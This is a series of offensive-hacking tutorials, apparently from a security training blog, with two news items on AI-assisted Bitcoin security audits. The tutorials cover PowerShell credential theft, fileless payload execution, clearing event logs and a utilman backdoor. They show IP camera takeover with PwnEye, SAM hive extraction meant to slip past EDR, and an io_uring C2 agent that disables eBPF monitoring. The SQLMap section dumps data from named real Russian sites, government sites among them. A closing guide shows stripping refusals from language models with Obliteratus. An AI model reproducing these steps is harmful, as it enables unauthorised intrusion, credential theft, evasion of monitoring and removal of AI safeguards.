The methods we cover here come from real engagements. You’ll see different terminals and interfaces, since we’ll be shifting targets. So get comfortable with older Windows systems, a lot of which are still in use today (ATMs, medical devices, point of sale systems, and so on), mainly due to budget constraints.
Defenders should also understand how Windows can be used for attacks, since they’re not limited to Linux only. Its administrative functions offer stealth during operations, which helps hackers stay under the radar.
Understanding PowerShell
PowerShell is a powerful scripting language that was initially designed for system administration and automation. It has direct access to the .NET framework and Windows Management Instrumentation (WMI), which gives you control over system components, processes and network configurations.
It also comes with “living off the land” (LOL) tools. These help hackers work without bringing in external binaries that could trigger alerts. That way they can discreetly execute commands, set up remote sessions, find credentials, check system configuration, manipulate the system, and run payloads in memory. PowerShell helps you blend into a normal system routine.
Now let’s look at its capabilities.
Core PowerShell Commands
To make the transition from Linux easy, here’s a table with common commands that exist in PowerShell.
That’s the backbone. It does have some unique commands too, but these are enough to start.
Legacy CMD commands are also supported. For instance, type will print the contents of a text file:
PS > type example.txt
It’s worth learning a few CMD commands just as a fallback.
You can change directories with cd, but sometimes you run into a non-English system where files and directories are in a foreign language. Evil-WinRM often struggles with this, corrupting the characters you type. In this case, you can use variables:
PS > $items = Get-ChildItem
PS > cd $items[4].FullName
Keep in mind, PowerShell uses zero based indexing (so $items[0] is the first item). This trick comes in handy when you have a PowerShell session inside some hacking tool that doesn’t play well with other languages.
Wildcards are another time-saver for complex file names:
PS > cat *.txt # Displays all .txt files
PS > cd * # Enters the only subdirectory in the current location
PS > cat 1* # Reads files starting with "1"
When you’re digging through a lot of corporate data, changing directories manually gets exhausting. Use tree to recursively view the file structure:
PS > tree /F
Credential Harvesting
To move laterally you need credentials. You can find passwords manually on the Desktop, in the browser or in messaging apps, but this whole process can be automated with a one liner, since you never know where those credentials are sitting on a system.
Findstr
With findstr you can search for specific patterns in files or command outputs. It’s present on every Windows system:
This searches recursively (/S), case insensitively (/I), for “password” across various files, listing matching files (/M).
Registry
The Windows Registry is another source of credentials. It stores system and user configurations. Here are some commands:
PS > reg query HKLM /f password /t REG_SZ /s
This searches the HKEY_LOCAL_MACHINE (HKLM) hive for string values containing “password”, potentially finding credentials used by software or services.
PS > reg query HKCU /f password /t REG_SZ /s
This targets the HKEY_CURRENT_USER (HKCU) hive for user settings with “password”. This may have application configurations.
Checks Simple Network Management Protocol (SNMP) settings for community strings. These are weak credentials for network devices that are often overlooked by administrators.
Finds saved PuTTY (SSH) session data, including IP addresses and usernames
These reg queries can be used for quick credential discovery, that way you don’t run external tools.
LaZagne
LaZagne isn’t a PowerShell tool, but it’s often used to extract credentials. It looks for passwords in browsers, email clients, WiFi settings, FTP tools and databases by analyzing config files, registry entries and memory.
For example, discovering an Outlook password for a department head could be used for social engineering attacks. More articles on social engineering are available on our website.
SMB Hash Leak
The SMB Hash Leak technique captures NTLMv1 or NTLMv2 hashes by creating a fake Windows shortcut (.lnk) file pointing to a nonexistent remote resource. When a user opens a folder with this file in it, Windows attempts an SMB connection, sending the user’s hashed credentials to your server. These hashes can then be cracked offline or relayed.
Using Inveigh, you can set up a fake SMB/HTTP listener:
PS > powershell -ep bypass
PS > . .\Inveigh.ps1
PS > Invoke-Inveigh -ConsoleOutput Y -NBNS Y -HTTPS Y -PROXY Y
Success depends on timing and network interface configuration.
Captured hashes can be cracked using Hashcat in NTLMv2 mode (5600).
Managing Execution Policy
An execution policy in PowerShell is a safety feature that controls whether and how PowerShell scripts can run on a system. It’s a built-in warning system meant to stop users from accidentally running untrusted or harmful scripts. To bypass it for the current session:
PS > powershell -ep bypass
For a persistent change (you need admin privileges):
This disables script execution restrictions machine wide, unless Group Policy overrides it.
Downloading and Executing Files
You can use cmdlets like Invoke-WebRequest (iwr) or wget to download files. Besides these, there are plenty of other techniques out there that don’t get monitored.
This command downloads a script from the URL and pipes it directly into the PowerShell interpreter using Invoke-Expression, executing it in memory without ever touching the disk. That’s a classic fileless execution technique.
A PowerShell downgrade attack is a technique where you deliberately launch an older version of PowerShell (version 2.0) to bypass some modern security features.
PS > powershell -version 2
Antivirus Software
When you gain system access, always check whether the AV is running:
Base64 can encode binary or text into a portable format. When you convert something into Base64, it makes it harder to immediately understand what the code does.
Encoded reverse shells can be customized on revshells.com and used to connect back to your listener.
Profile Persistence
Profile persistence is a technique of embedding code into a user’s PowerShell profile so the code executes every time a new PowerShell session starts. When PowerShell launches, it checks for profile scripts and runs whatever commands they hold.
-WindowStyle Hidden makes a PowerShell script or command run without showing any visible window to the user. When hackers run scripts, they don’t want to draw attention. If you run PowerShell normally, a window might briefly flash on screen and alert the victim.
Listing command lines for each process can help you find usernames, passwords, IPs and other things.
PS > gwmi win32_process | select CommandLine
Scheduled Tasks
Scheduled Tasks get used for persistence and privilege escalation. Each task is defined by a set of triggers (at logon, at a given time, or on an event), actions (the program, script, or command to run), and optional conditions or settings that control retries and timeouts.
For privilege escalation you want to find vulnerable tasks. We’ll output all the scheduled tasks to a file and then look for “SYSTEM”:
PS > schtasks /query /fo LIST /v > schtask.txt
For persistence, create your own task or modify the existing one:
If you accidentally trigger the creation of a new user profile by signing into a computer where that user has never logged in before, kill the session tied to that user first, then delete the created user folder:
PS > cmd.exe /c "rd /s /q C:\Users\username"
Logs
Hackers clear Windows logs to cover their tracks. Here’s how:
First the command clears the classic Windows event logs, then it uses wevtutil.exe to clear the more modern ones.
Other Commands
Below you can find other useful commands.
Bonus: Establishing a Backdoor
Once a system’s been compromised, you can establish a backdoor. There are many of them, depending on your objectives and the environment. Our technique uses utilman.exe.
Utilman
Utilman.exe is the Windows Utility Manager. It’s the program that runs when you click the “Ease of Access” button on the login screen or press Win+U. It’s meant to provide accessibility tools (Narrator, Magnifier, or On-Screen Keyboard) before you log in.
It can be exploited by tweaking the registry so it points to cmd.exe instead. As a result, pressing the Ease of Access button at the login prompt launches a CMD prompt with SYSTEM privileges.
After that you need to reboot the system or wait for an administrator to do it.
If you use Sticky Keys instead, you won’t need to reboot at all.
Conclusion
PowerShell is a powerful tool, as you can see. In this first part, we’ve covered essential commands, credential harvesting, persistence and stealth. In the next part, we’ll build on this foundation with more advanced tools.
If you want to learn how PowerShell can be used in both red team and blue team scenarios, get our PowerShell for Hackers training. We’ll show things that can’t be covered here.
Some cameras protect a building, others betray it. Camera hacking isn’t hard, and that’s the problem. These devices are often the most vulnerable in any environment. Once installed, they aren’t maintained until there’s a problem. Many “problems” can go unnoticed if you know how vulnerable cameras are. Hackers can use them for persistence or as an entry point into an organization.
We do have different articles on this topic, but this time there’s something else we want to show. It’s PwnEye.
PwnEye
PwnEye is a newer tool that didn’t get enough attention yet. It works with both ONVIF and RTSP and that’s pretty much all you need. Once it has compromised a camera, it can reboot it, factory reset and open an interactive shell via ONVIF.
You also black out the operator’s view. Just like in movies.
Setting Up
Let’s set up the tool. You’ll need ffmpeg first.
kali > sudo apt install ffmpeg
Then install pipx and grab the tool.
kali > sudo apt install pipx
kali > pipx install git+https://github.com/Hackerest/pwneye.git
Once it’s ready, you can test it:
kali > pwneye -h
The help menu’s large. The tool can be used to find cameras in a local network with –discover, but it can be pointed at any camera IP. That’s where we’ll start.
ONVIF Attacks
ONVIF is the protocol that lets cameras from different manufacturers talk to each other without buying the same product. It’s basically a standard, but it’s also an attack vector.
kali > pwneye -t IP
If the camera’s running default or weak credentials, you get access. The tool extracts everything after compromise. Below you can see the network config, MAC address, DNS entries and configured users. DNS entries may sometimes point to interesting internal servers.
Look at the configured user credentials in the output. You’ll use those to get a shell.
The tool also finds snapshots that the camera captures regularly. You can view them in the browser or wait for PwnEye to open the stream.
Some cameras support deface (black the screen), PTZ movement and factory reset through ONVIF. Not all. Depends on the model.
Finally, once it finishes, you get the stream.
Well, it’s just a bus station. Nothing fancy here.
Defacing Cameras
If the camera supports it, you can deface it.
kali > pwneye -t IP --deface [MESSAGE]
It’s not sophisticated, but it works.
Shell
That’s probably the most interesting part. Take the credentials from the user profile output and get a shell.
kali > pwneye -t IP -ou admin -op ‘’
Once you’re in, run help and see what it has. Some cameras let you do more than others.
RTSP Attacks
ONVIF compromise is worse than RTSP compromise, but RTSP often works when ONVIF doesn’t. The tool tries both by default, but you can skip ONVIF and go straight to RTSP if you want.
kali > pwneye -t IP -so
The tool has more than 450 credentials built in. You can also try common corporate passwords like Company123 or just Company.
Once it gets credentials, you get the stream.
Summary
Some IP cameras might be accessible from the internet and locally. That means compromising them also gives you a foothold on the internal network. They aren’t upgraded regularly and IoT devices in general lack proper software updates. There are dozens of known CVEs on most camera models. Cameras can be used to proxy through them, attack other hosts or maintain persistence.
There are many other attacks on cameras, and it would be a very long article to cover them here. That’s why we created our IP Camera Hacking Training. It’s now part of our Cybersecurity Starter Bundle II. With it you get Wi-Fi Hacking, Python Basics for Hackers, Remaining Anonymous and more.
When you just land on a new machine, you often have to sit down and go through every running service just to figure out what’s actually installed and which of those apps might be worth a closer look for credentials in a config somewhere. You can’t skip this part, as it usually gives you something you’ll need later in the engagement, but it eats time. A lot of it.
There are older tools that try to do something similar, but the two we’re covering today are more current. LOLCreds and CredsHound come from the same developer and they cover a huge amount of software.
So let’s see how they work.
LOLCreds
LOLCreds is a website that has 678 different credentials. Some software generates a password when you install it or prompts you to enter it. There are also static credentials that are baked into the product. The D-Link backdoor credentials are a good example of the second kind.
LOLCreds also tracks AI API keys and shows you exactly where to find them on a system. Here’s what it has on Cursor.
MySQL is a more basic example. Its password is often hidden in a config file or sitting as a variable in the env file.
CredsHound
All of that is great when you already know what software you’re hunting through and you’re picking it one at a time. But machines might have dozens of applications running. Software can be removed, but configs stay and password reuse is common. You can use CredsHound for this hunt.
CredsHound is a scanner written in Go. Under the hood it pulls templates from LOLCreds so it can run product aware checks. It has been fully optimized for modern environments, so it will scan everything from DBeaver encrypted databases to OpenCode, GitHub Copilot CLI, Hugging Face, OpenAI and more.
Setting Up
Before you start using the scanner, you need to have Go installed.
There are different ways you can run it, but you always start with updating the template library. The scanner can be used with different privileges, but we’ll use root.
Our system is fresh, so there’s not much on it yet. A box that’s been sitting in prod for a while will have more interesting results, like the one below.
CredsHound can also work with BloodHound to show you the relationships between credentials as a graph. Here’s how to set it up:
Then you import the JSON file into BloodHound and see what comes up.
When you’ve collected many of these JSON files from different machines, you’ll start seeing the architecture of what you’re testing.
A few more commands you’ll find useful:
# Scan the current directory
bash$ > credshound .
# Scan multiple roots
bash$ > credshound ~/project /etc
# Scan only env variables
bash$ > credshound -sources env
# Scan current and process environment variables on Linux
bash$ > credshound -sources env,proc
Summary
Credential hunting is a tedious thing when you do it manually, but you can’t really skip this part. It’s essential to move further. The tools covered can make the whole process easier and the output rich. LOLCreds has a reference library for different products and CredsHound can scan your hosts for secrets with results that you may import into BloodHound.
If you like red teaming, we have our Red Team Operator training, where we cover more tools and techniques to help you emulate real APT work, so you can give a company a realistic stress test and help make it secure.
Bitcoin company leaders and open-source developers are publicly stating that Chinese AI models are currently outperforming restricted American frontier systems in defensive cybersecurity work, forcing researchers to rely on them to secure critical Bitcoin infrastructure.
Rob Hamilton, CEO of AnchorWatch, a Bitcoin self-custody insurance company, reported cripling American AI restrictions. After integrating OpenAI’s trusted cyber program (having already completed KYC months earlier), he was blocked from further analysis on a codebase he had already responsibly disclosed. “It absolutely guts me as a patriotic American to have to do this, but I will be going back to using Chinese open source models to conduct my research to protect Bitcoin infrastructure,” Hamilton wrote. “Black hats will not hit these issues. The white hats will.” Days later, he gained access to OpenAI’s “Daybreak Blue” cyber model and was blocked again within 19 minutes while red-teaming Bitcoin infrastructure.
Francis Pouliot, founder of Bull Bitcoin, a Bitcoin-only exchange focused on self-custody infrastructure, described the situation bluntly. “I have never seen OpenAI this cucked. It’s cucked beyond belief now. Not even for security, for anything related to Bitcoin,” he posted. “USA AI industry is completely cooked if they don’t change this path,” he concluded, adding “Open-source Chinese LLMs. [orange heart emoji],” meaning that open Chinese models like Kimi K3 are actually helpful to Bitcoin. In a follow-up, Pouliot detailed how a Chinese open-source model identified a money-stealing exploit in a project he was auditing, demonstrated it on regtest, and helped patch it. When he asked the American models he pays for to review the same patch, they refused.
PortlandHODL, a Bitcoin Core contributor who builds for AnchorWatch, publicly highlighted the performance gap. “US-based Frontier AI Model – ‘You’re absolutely right!’ Chinese Open Model – ‘78 critical vulnerabilities found.’ The implications of this are unfathomable,” he posted. In a follow-up, he added that he felt he was “basically asking Xi to not get my software hacked at this point,” calling for OpenAI and Anthropic to create proper access programs for U.S. citizens doing defensive security work.
Alex Thorn, Head of Firmwide Research at Galaxy, signed a recent Bitcoin Policy Institute open letter demanding trusted access to frontier models for open-source defenders. “Americans should not have to rely on Chinese AI to defend themselves, their projects, companies, or clients from cyber-attacks,” he wrote. “RED TEAM NEEDS THE MODELS.”
On August 10, the Bitcoin Policy Institute — a Bitcoin and, of late, AI-focused policy think tank — published an open letter signed by more than 70 organizations across the digital-asset ecosystem, including major custodians, exchanges, mining firms, and open-source development groups. The letter calls on frontier AI labs to establish clear trusted-access programs for qualified open-source and digital-asset defenders. It argues that current restrictions and safety guardrails leave legitimate security researchers without access to the strongest models, forcing them to rely on less capable open-weight alternatives while sophisticated attackers face no such limits. The signatories request early access to cyber-capable models, sufficient compute, secure environments for reviewing code, and direct channels with lab security teams, stating that frontier AI could become one of the most powerful defensive technologies available if defenders are given fair access.
These statements reflect a broad pattern among Bitcoin security researchers: American models from OpenAI and Anthropic frequently refuse or restrict legitimate defensive work, even to users who are supposed to have been granted explicit access, while Chinese models such as Kimi K3 operate without the same guardrails and are delivering confirmed results. Concerns about hosting infrastructure of Chinese models being an attack vector can also be mitigated, since they are open source and can be run on American-hosted data centers, a trend that is likely to threaten the U.S. AI market if it continues.
Coldcard Exploit Triggers Ecosystem-Wide Response
The cybersecurity pressure became acute in the Bitcoin industry after a firmware flaw in Coldcard hardware wallets was exploited beginning July 30, resulting in the theft of well over $100 million in bitcoin from seeds generated with insufficient entropy. Bitcoin Magazine published an urgent advisory urging affected users to migrate funds: COLDCARD SECURITY RISK: IMMEDIATE ACTION REQUIRED.
In response, a volunteer effort known as the Bitcoin Red Team formed, led by open-source developer Calle (creator of Cashu and the Android version of Bitchat) and Rob Hamilton. The group has conducted large-scale AI-assisted audits of Bitcoin open-source repositories, using models including Kimi K3 as the primary workhorse alongside limited access to Western systems. Early results, covered by Bitcoin Magazine, showed thousands of findings across hundreds of projects, including dozens of critical issues, with spending covered largely by OpenSats.
By August 8, after more than 100 hours of work involving dozens of contributors, the team reported scanning 501 projects and producing 7,958 findings, of which 1,280 were rated high or critical severity. The majority of compute spend continued to go to Chinese open-weight models.
Lessons from the Red Team Campaign
Most recently, Calle shared lessons from the intensive red-team period. The effort has essentially completed a basic scan of virtually the entire Bitcoin open-source landscape; low-hanging fruit is largely exhausted, the developer wrote on this X account. Maintainers across projects have validated many of the critical and high-severity reports, while response times from projects vary widely and serve as a signal of overall health.
Key takeaways include the need for every project to maintain its own permanent AI audit pipeline going forward. Projects that began such reviews months earlier are in a markedly stronger position. Unmaintained repositories should be treated as likely broken and unreliable.
Calle also warned that the human-only era of open-source security review is over; verification is now effectively free, and information overload must be handled with AI rather than complaints about PR slop. Multiple concurrent and diverse human approaches remain the strongest method for finding vulnerabilities, and external red-teaming will likely be required indefinitely.
Calle also repeatedly emphasized that developers should stop writing security-critical code in C. In a follow-up post he explained: “we’re finding memory-safety vulnerabilities in c projects that are prevented by default in many other languages. In the past, finding a simple buffer overflow wasn’t enough. You’d need a highly skilled hacker to turn the vulnerability into a working end-to-end exploit. Today, that’s a single prompt.”
Bitcoin was the first major open-source ecosystem to confront this collision between accumulated human code and frontier AI capability. The rest of the software world is expected to follow.
The article on DeadMatter was really popular and relevant for many of you. DeadMatter works with LSASS and finds artifacts related to active or recently active sessions. But sometimes you need SAM hashes during a pentest.
Today we’re using 7z to find and pull the hives. It’s very common to find and it has raw disk access to fetch what we need without triggering the EDR. You can basically call it a living off the land technique due to its widespread presence. There are other ways to extract hashes, but most of them are well known and monitored. Some hackers rely on VSS and it works fine in some environments, but detecting VSS abuse isn’t hard. It’s a beginner level of complexity. VSS leaves very specific traces in the logs when you use it. Native Windows binaries get blocked outright and finding forensic tools already sitting on an endpoint is uncommon.
Credit where it’s due, Jonas Lyk shared this approach.
Extracting Hives
To make it work, you need to start 7z as Administrator, otherwise it just fails. Then you type \\.\ in the path bar and it’ll show you the drives.
Here we need PhysicalDrive0. You can’t copy it off the C:\ drive, because it’s locked by the system.
Inside you’ll see the partitions on the physical drive. Usually 1.ntfs has the structure of your C:\. 0.ntfs has $MFT, $J and the other files you want for a deeper dive.
System hives live in Windows\System32\config
Select the hives you need and copy them to a folder. We’re only pulling SAM and SYSTEM here, but you can get SOFTWARE, $MFT, $J, and NTUSER.DAT if you’re doing behavioral analysis. We covered that in our article showing how much you can find out about a user after a compromise. Behavioral analysis is also useful in pentesting. NTUSER.DAT shows a lot about how the sysadmins use their machines.
File size shows the hives aren’t empty. Now we can move them to Kali and extract the hashes.
kali > impacket-secretsdump -sam SAM -system SYSTEM LOCAL
We got all the local user hashes. If LAPS isn’t enabled (in a lot of environments it isn’t), there’s a good chance the admin hash is identical across many machines. Some admins don’t even know LAPS exists, others are scared to turn it on because they’re not in control of the password rotation. Either way, SAM alone can be enough to compromise the whole domain.
Terminal
This approach hits a wall in the terminal. 7z can only parse physical disks and NTFS partitions through the File Manager GUI. The CLI version still can’t open nested partitions and throws an error every time. So the GUI is the only way you can pull it off.
There are forensics tools that do it in the terminal (AxiomSecret, RawCopy, etc.) but that’s a story for another day.
Summary
Many successful attacks use LOL techniques or signed tools. This approach is creative and 7z is already sitting on plenty of machines. Even if it’s not, bringing it over isn’t suspicious.
It won’t get you LSASS hashes, but the SAM hashes alone can be enough to compromise a company’s entire infrastructure. We showed that in our SCADA article, where the SCADA machine stored cleartext passwords in memory and password reuse helped us with the rest of the infrastructure during the pentest. LAPS isn’t hard to set up and it can close this door, so spend some time learning it.
If you like what we’re doing here and want to get started in Digital Forensics or advance your skills, we recommend our training for both beginners and more experienced students.
Today we are going to cover the use of SQLMap in bug bounty and web pentest. This tool has been around for years and proved to be the top choice. When you test websites for SQLi, you often start manually with known payloads and then move to your tools. Although there are a few tools available out there, this one is the most capable. So it’s a good idea to start with it.
This article will teach you how to work with flags and options. Since all the heavy lifting is done by the tool, it’s enough for you to start finding bugs and report them. SQLi is considered to be a critical vulnerability, as it may lead to RCE or a full website compromise. That really depends on the database management system (DBMS). We had a case during a pentest where an admin’s IP was whitelisted in the MySQL database. That same IP also had SSH open, and credential reuse got us into that server too. You never know what you’re going to run into once you’re inside a database. Sometimes one finding can lead to the next. That’s why this vulnerability is critical.
OWASP Top 10
Although the injections moved down the list, they’re still out there and very much exploitable. There are many gov websites that are vulnerable to it. Sometimes you’ll come across a time-based injection that’s pretty slow to work with. Other times, you might get a union-based injection that will let you dump entire databases fast and clean. Error-based injections are common and easy to spot. And finally, there are boolean-based injections.
It’s not always obvious that a website is vulnerable to an injection. It might look totally outdated but give you nothing. And on the other hand, solid looking websites can leak everything with just one payload.
Simple payload
Let’s start with the basics. Often, you don’t need to go overboard as SQLMap can handle most of it for you. You can stick with simple payloads and only then get into complex ones. The complexity of the payload doesn’t always increase the chance of a successful SQLi. Even changing parameters like –risk or –level too early can make your payload fail.
Let’s take a Russian ISP website as an example. The one-liner here is simple. Below you can see an intercepted POST request that we saved from Burp. It had random login credentials for the test.
kali > sudo sqlmap -r website.ru.txt --risk=3 --level=4 --batch --random-agent
You can play with levels and risks, but be careful as some websites may have WAF, so try to keep it low in the beginning.
Now let’s try dumping their data with –dump. We are interested in the billing database (-D billing) and users11 table (-T users11). At the end of the line we will add –columns to enumerate the columns.
You can also use –users and –passwords to dump credentials of database admins.
–users extracts database management users. Here you will see all the whitelisted IPs, but sometimes you will come across localhost, which won’t let you connect to the DB externally. –passwords will dump password hashes if available. If you succeed, it opens up a new attack vector, as mentioned before.
Let’s now test a second example where higher risk and level work just fine and actually give better results.
Here is a furniture shop in Moscow. Even though the website seems pretty modern, the id= parameter is injectable.
We will go with –level=4 and –risk=3 again this time. The asterisk (*) points at the parameter that needs to be tested. You can also use -p for that.
It worked. Now we dump the users table with usernames and hashes. But keep in mind, not all hashes can be cracked by SQLMap. If it fails, don’t be surprised. Just export them and use Hashcat or John the Ripper.
Once cracked, we can log into the website. If someone cracks an admin’s hash, they can cause real damage to the website.
That was easy. Let’s look at a different challenge.
Tampers
This is a gov.ru website. It’s different compared to the previous ones, because regular SQLMap payloads fail here. It’s protected by a WAF that filters suspicious requests. For this reason we will use tampers. There are many of them and random isa popular choice. It randomizes the casing of your payload, which can help bypass WAFs.
Another flag you might notice is –no-cast. This tells SQLMap not to cast data types. It can be useful after you find a working injection. Before that, it might get in your way.
There are tons of tamper scripts designed for different firewalls. If you find out what firewall is running, you’ll have a better chance of picking the right one.
Columns
Here is another government-associated website for the city of Khabarovsk. Khabarovsk is a major city in the Russian Far East, close to China. It’s known for its military importance and some sketchy biological programs during the Soviet era. This website looks like a city archive. Let’s dig into it.
Look at the search functions. It shows results in a table format. That’s your clue. We need to know how many columns are returned. If your union payload uses the wrong number of columns, it won’t work.
As you can see above, there are four of them. So we will go with –union-col=4
Using a union character (a random string or ID) can sometimes help stabilize your payload and avoid false positives. Don’t forget to add tamper scripts. You can even stack them, just make sure they don’t conflict with each other.
Conclusion
That’s it for Part 1. We’ve laid the foundation in this chapter showing you the real use of SQLMap and its functions. As it was mentioned previously, SQLi are critical vulnerabilities and it’s always a good idea to test them during your Web App Hacking or Bug Bounty. We have training on each, where we give you the needed skills to start finding your first bugs or land a job as a pentesters, as many companies require these skills.
Rallied by the recent, catastrophic vulnerability in Coldcard hardware wallets, exploited to the tune of over $100 million, the Bitcoin community has rallied to prevent future critical bugs in the industry’s open source software.
Led by Calle, software engineer, avid vibe coder and creator of the Android version of Bitchat, and Rob Hamilton, the CEO of Anchorwatch a Bitcoin self-custody insurance company, the Bitcoin Red Team has now secured funding, with over $40,000 spent in AI tokens to audit over 390 Open Source repositories across Bitcoin.
Colloquially called the “Bitcoin Red Team”, with memes about Rob Hamilton and Calle now being the CEO and CTO of Bitcoin, this AI-driven security audit is having a serious impact across the industry. Just a few days ago, buried in the news of ongoing thefts of bitcoin from MK3+ Coldcards due to an RNG bug, Boltz exchange announced it would be pausing operations to catch up with AI-driven hacking attempts.
“27.5 hours in, we’ve filed 4,962 findings across 390 projects. 85 critical and 635 high severity issues. We’re at 2.31 h+c findings per person per hour,” said Calle in the most recent update on Red Team efforts to shore up the industry’s cybersecurity.
The Red Team security review effort is using models like Kimi K3, GPT Sol, Fable, Opus and GLM5.2, some of the most expensive and cutting-edge models in the market. At first, access to OpenAI and Anthropic models was limited, leading to an over-reliance on Chinese open-source models, a fact which many in the industry lamented and saw as a bad omen for U.S. AI dominance. But as the Red Team project grew in influence since last week’s Coldcard hack, connections have been established and confirmed with OpenAI, giving Red Team access to GPT Sol. Hamilton’s mention of Fable in his August 4 tweet suggests access to Anthropic has also been established.
Expenses which were last tallied at over $40,000 have been covered by OpenSats, a non profit 501c3 organization dedicated to funding open source Bitcoin development projects. The Bitcoin Red Team does not currently have a website or a GitHub repository to link to, but the team is made up of many individuals within the Bitcoin industry. Individuals publicly thanked for their support include but are not limited to danielabrozzoni, lylepratt, stutxo, benthecarman, thesimplekid.
Hamilton shared that a custom harness has been built and is evolving quickly. Made up at one point of 171,599 lines of code, the harness is designed to identify and test critical Bitcoin software libraries and high-load-bearing code, identify and document vulnerabilities, reproduce them and package the proven data into useful reports. Ultimately delivering the information responsibly to engineers in the industry. Hamilton also shared that Red Team intends to open source the harness such that Bitcoin companies can run it against their closed-source code.
Red Team is actively reaching out to relevant open source projects with critical vulnerabilities discovered, leading to a broad sense of dread from engineers in the industry when they receive cold direct messages from Hamilton or Calle, as seen in various humorous screenshots shared on social media.
Among the key insights shared by Red Team publicly as this AI-driven security update of Bitcoin FOSS takes place, Hamilton shared that engineers with specific subject matter could sometimes yield high-value results from the Harness, which might otherwise “smell out something is wrong,” but might be missing niche context. An insight which speaks to the importance of having human intelligence and experience work hand in hand with the AI to efficiently identify critical vulnerabilities.
Hamilton also ended a multi-day Red Team effort after the Coldcard hack with some personal notes. He said that the discovered vulnerability in Coldcard random number generators and consequent exploitation of the bug by hackers had been a “spiritual attack” on Bitcoin and the self-custody ethos of the industry, “I mean that in the literal sense of the words”. After expressing grief for the losses experienced by many Bitcoiners during this now historic hack, Hamilton closed his tweet with a tone of hardened resolution:
“While things are not easy right now. I have the highest conviction ever in my life that the idea and technology of Bitcoin is worth fighting for. To that end. There is no Bitcoin without self-custody. This is non-negotiable.”
Finding an EDR on a Linux machine is common when working with organizations that take cybersecurity seriously. While many associate EDR platforms with Windows, modern Linux deployments are often monitored as well. Evading an EDR is almost an art form. It requires a deep understanding of operating systems, system internals, and how security products actually collect telemetry. Most EDR products are designed around visibility. They monitor processes, file access, network connections, privilege escalation attempts, and many other activities that could indicate bad behavior. A simple example might be accessing sensitive files, attempting to connect to suspicious external infrastructure, or spawning unusual child processes. These actions generate events that security products can inspect and correlate.
Over the years, researchers have demonstrated many different methods for bypassing or reducing EDR visibility. Some techniques abuse trusted binaries. Others use kernel vulnerabilities or weaknesses in monitoring logic. Today, however, we are going to look at a different approach involving a Linux feature called io_uring. Using this technique, it becomes possible to perform reconnaissance, transfer files, establish C2 communications, and execute commands while generating significantly fewer events.
The technique we will discuss today was developed by MatheuZSecurity.
Bypassing EDR
Introduced in Linux kernel 5.1, io_uring was designed to improve the performance of I/O operations. Instead of repeatedly interacting with the kernel through traditional system calls, applications can place requests into a shared queue. The kernel processes those requests and returns the results. Applications can submit many operations at once rather than making separate calls for every read, write, file access, or network action. This becomes interesting from a security perspective because many EDR products monitor these activities. These events are often collected through hooks, audit frameworks or eBPF.
With io_uring, many operations can be submitted and handled through a different execution model. Instead of repeatedly calling functions, requests are processed through io_uring, generating fewer observable events.
This does not make activity invisible, it just reduces the visibility of EDR. But modern security products are trying to improve their ability to monitor io_uring now. However, because it can reduce traditional syscall visibility, it has become an area of growing interest for hackers.
Setting Up
To test the concept ourselves, we first need to set up the environment. Let’s download the project and install the required dependency.
kali > git clone https://github.com/MatheuZSecurity/RingReaper
kali > cd RingReaper
kali > sudo apt install liburing-dev -y
By default, Kali Linux does not include the required development library, so we need to install it before compiling the project.
After that, open the agent.c file and update the IP address to point to your Kali machine. This is the address the agent will connect back to once it is executed on the target system. That is the only modification required.
Once the IP address has been updated, compile the project and upload it to a temporary hosting service.
kali > gcc agent.c -o agent -luring -O2 -s -static
kali > curl -F "file=@agent" https://temp.sh/upload
After the upload completes, you will receive a URL that can be used to download the binary.
Connecting to C2
First we need to start our server.py on Kali.
kali > python3 server.py --ip 192.168.131.7 --port 443
With the binary uploaded, we can move to the target machine. Replace the URL in the following command with the link generated during the upload process and execute it.
The command downloads the executable, stores it locally, adjusts permissions, and launches it. If everything works correctly, the connection should appear immediately.
When operating inside a monitored environment, less activity usually means less risk. The less noise you generate, the less likely you are to attract attention.
Running Commands
Now we arrive at the interesting part. Once connected, start by running the help command to display the available functionality.
The command set is intentionally small, but it covers most of the tasks that you would typically need. For example, running the users command shows active sessions.
If necessary, individual sessions can be terminated using the kick command. The privesc command searches for SUID binaries that may be useful for privilege escalation.
You can upload files to the target or retrieve files from the target machine. A common example would be reading .bash_history to see previously executed commands by local users.
Finally, the most interesting command is killbpf.
Many security tools including Falco, Sysdig, Elastic Defend, Tetragon, and many other monitoring platforms rely on eBPF to achieve deep kernel visibility. eBPF allows security products to observe process activity, system calls, network events, and many other behaviors without requiring traditional kernel modules.
The killbpf command attempts to disrupt this. It removes content from /sys/fs/bpf, which is the virtual filesystem commonly used to store pinned eBPF programs and maps. These maps act as shared data structures that allow eBPF programs and user-space applications to exchange information. When those components are removed or disrupted, security tools may lose visibility into system activity. In addition, the command attempts to identify and terminate processes actively interacting with eBPF maps. Disrupting them can interfere with security monitoring.
Below you can see the tool working alongside TrendMicro.
Source: MatheuZSecurity
Summary
This agent shows how a legitimate Linux feature can be repurposed in unexpected ways. io_uring was created to improve performance and efficiency. Its purpose was never to bypass security products. However, as we have seen many times throughout cybersecurity history, legitimate technologies often become useful tools for hackers as well.
If you want to take your Linux knowledge to the next level, we offer Advanced Linux for Hackers training designed for both red and blue teams. The course will help you develop the advanced Linux skills needed for penetration testing, incident response, digital forensics, and other security tasks. Since many offensive and defensive techniques rely on a solid understanding of the operating system, these skills will let you troubleshoot complex environments.
Lately, the constrained AI models that companies keep shipping are becoming less and less useful for cybersecurity. We keep hearing a lot of complaints about Claude in this regard. What they are doing doesn’t really fix the problem, as hackers are not sitting around waiting for the guardrails to be lifted. The barrier to entry for hacking has dropped hard. AI can already automate huge chunks of this cybercrime work. Many of these latest models can even find zero days during engagements.
Source: The Hacker News
So poking around your infrastructure looks completely irrelevant. A more meaningful approach is to actually emulate these real attacks with AI, but for that we need a model with no guardrails. Today we are going to show you how to jailbreak a model and self host it for your pentesting work.
What is Obliteratus
Obliteratus is built to strip refusal behavior out of LLMs using abliteration. You’ll see it called abliteration or obliteration, same thing. It targets the internal representations causing the model to refuse in the first place and knocks them out. The model keeps all its core capability, it just stops throwing up artificial walls when you ask it something. It runs on CPU for smaller models, and it’s already been used to abliterate Kimi-K3 along with a bunch of others.
Setting Up
Setting up this tool will take some time, just like the jailbreak process itself. How long depends on your hardware and your internet speed.
kali > sudo apt update
kali > sudo apt install -y python3 python3-pip python3-venv git
kali > git clone https://github.com/elder-plinius/OBLITERATUS.git
kali > cd OBLITERATUS
kali > python3 -m venv venv
kali > source venv/bin/activate
kali > pip install --upgrade pip
kali > pip install -e .
Once it finishes, see if it works:
kali > obliteratus --help
